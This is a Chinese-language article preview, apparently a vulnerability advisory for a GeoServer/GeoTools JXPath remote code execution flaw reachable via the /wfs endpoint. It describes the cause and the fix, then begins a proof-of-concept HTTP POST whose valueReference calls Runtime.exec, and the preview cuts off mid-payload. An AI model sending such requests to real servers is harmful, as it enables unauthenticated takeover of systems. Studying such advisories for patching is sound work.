文章预览
漏洞描述: GeoServer是一款开源地图服务器,主要用于发布、共享和处理各种地理空间数据,其依赖GeoTools库来处理地理空间数据,受影响版本的 GeoTools 库 API 在处理要素类型的属性名称时,会将这些属性名称不安全地传递给commons-jxpath库进行解析,且 commons-jxpath库在解析XPath 表达式时可以执行任意代码,导致未经身份验证的用户能够通过/geoserver/wfs 接口执行任意代码,在修复版本中,通过在 GeoTools 库中新增 JXPathUtils 类提供 newSafeContext 方法,该方法通过设置空的 FunctionLibrary 来创建禁止调用 Java 方法的 JXPathContext,防止在 XPath 表达式中调用任意 Java 方法。 POC: POST /wfs HTTP/1.1 Host: ip Content-Type: application/xml Content-Length: 336 xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0' valueReference='exec(java.lang.Runtime.getRuntime(),"pin
………………………………